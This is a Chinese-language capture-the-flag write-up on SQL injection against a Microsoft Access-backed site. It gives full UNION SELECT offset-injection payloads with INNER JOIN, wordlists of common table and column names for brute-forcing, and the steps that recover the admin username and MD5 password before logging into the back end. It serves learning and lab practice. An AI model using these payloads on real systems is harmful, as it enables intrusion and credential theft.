
慢慢打吧
$\color{red}\times$ 的地方是看了题解

关于 $Access$ 数据库
不支持错误数据注入,不能执行系统命令
数据库中没有注释符,即注入时无法使用常用的
/**/,--,#等。而有时可以使用%00即Null来充当注释。但存在PHP中开启参数magic_quote_gpc魔术引号时,其会在Null前加上反斜杠导致失效
而判断其是 $Access$ 数据库的依据如下:
虽然都说可以根据 and exists (select * from msysobjects)>0 没有报错来判断,但我这里还是报错了,所以:

sqlmap 跑一下啊嗯
随便点一点发现 $id$ 后面的参数好像可以



$1=2$ 的时候报错,看起来是不需要奇怪符号的数字型
$order by$ 二分一下发现有 $22$ 列
而 Access 没有诸如 information_schema 之类的表,而其所有表都在同一个数据库下
也就是说不能读标名,而是可以利用 and exists(SELECT * FROM [表名]) 来猜测表名
以及 and exists(SELECT * FROM [表名] order by [num]) 来判断表的列数
and exists(SELECT [列名] FROM [表名] ) 来猜测列名
常见的表名
1 | admin,a_admin,x_admin,m_admin,adminuser,admin_user,article_admin,administrator,manage,manager,member,memberlist,user,users,Manage_User,user_info,admin_userinfo,UserGroups,user_list,login,用户,Friend,zl,movie,news,password,clubconfig,config,company,book,art,dv_admin,userinfo |
常见的列名
1 | username,adminusername,admin_username,adminname,admin_name,admin,adminuser,admin_user,usrname,usr_name,user_admin,password,admin_password,administrator,administrators,adminpassword,adminpwd,admin_pwd,adminpass,admin_pass,usrpass,usr_pass,user,name,pass,userpass,user_pass,userpassword,user_password,pwd,userpwd,user_pwd,useradmin,pword,p_word,pass-wd,yonghu,用户,用户名,密码,帐号,id,uid,userid,user_id,adminid,admin_id,login_name |
直接 intruder 爆破一下

表名有 admin 和 news ,company 那个还是报错了
以 admin 为表名爆破下列名得到

得到有效列 admin , password , id
这里可以脚本二分跑内容,但太慢了
偏移注入 $\color{red}\times$
看了解析后纠正前面几个问题:
最开始
order by得到的列数并不是搜到的admin表的列数,而是另一个表product的列数(这个表的名称不重要)也就是当前注入点对应的表是
product表,而我们的目标表是adminand exists(SELECT * FROM admin order by 6)得到
admin表有 $6$ 个字段理一下收获:现在有当前表
product的字段数,目标表admin的字段数和表名,以及目标表的一些列名(虽然不是必要的)现在要确定回显位置:
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 FROM admin
这句话可以理解为一个从
admin表中拿一个 $22$ 位的虚拟表,但这里用别的表名称也行,下面就不行了之所以这里要用 $22$ 位的,是因为前面
id=1140是从当前表Product中查询到的,而UNION SELECT前后列数应该相等,下面偏移查询时也应遵循这一原则注意这里要记得查看源代码,有些回显位并不会显示出来,但会出现在代码中

这里出现的就是第 $3,9,13,15$ 位
有一个公式
比如当 $N=1$ 时,即为一级偏移:
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* FROM admin此时
UNION SELECT后面的列数为 $16$ 个虚拟列数加上admin表中的 $6$ 列,恰好为 $22$ 位一级偏移并没有出现想要的
admin表的列,原因是他们排在了第 $16$ 字段后,而显示位最大为第 $15$ 位那么再偏移一次:$N=2$ 时,即为二级偏移:
UNION SELECT 1,2,3,4,5,6,7,8,9,10,* FROM (admin a INNER JOIN admin b on a.id=b.id)原理就是让目标表
admin中的列出现在显示位上,此时UNION SELECT后面的列数是 $10$ 个虚拟列加上两个相同的admin表[表1] INNER JOIN [表2] ON [条件]会合并符合条件的表 $1$ 和表 $2$ 中的行
而像上面这样的
admin a INNER JOIN admin b on a.id=b.id相当于将一个
admin表命名成a和b,对于id相等的行将其合并,也就是相当于在admin表后面加上复制的自身此时得到的列就如:
a.id | a.user | a.passwaord | b.id | b.user | b.pass回到这道题,二级偏移就得到如下:

得到了时间和看起来加密过的密码
当然,现在仍可以进行三级偏移:
UNION SELECT 1,2,3,4,* FROM((admin as a INNER JOIN admin as b ON a.id=b.id) INNER JOIN admin as c ON a.id=c.id)
但并没有得到想要的用户名
这个时候就需要对联合查询的表进行一些微调了:
UNION SELECT 1,2,3,4,5,6,7,8,9,10,b.id,* FROM (admin a INNER JOIN admin b ON a.id=b.id)这里手动把
b表的b.id列提到最前排,后面的就会自动的只补全剩下的列
就得到了用户名
admin因为提前的
b.id让表的剩余列向后推了一格,使admin出现在显示位也就是说,微调联合查询需要知道目标表中的一些任意列名,而知道的越多,越可以微调更多的位数,比如说:
UNION SELECT 1,2,3,4,5,6,b.id,a.user,b.user,* FROM (admin a INNER JOIN admin b ON a.id=b.id)就可以向后推3格
回到这道题,密码 md5 解密得到:

dirsearch 出登录后台登录页面,直接登录即可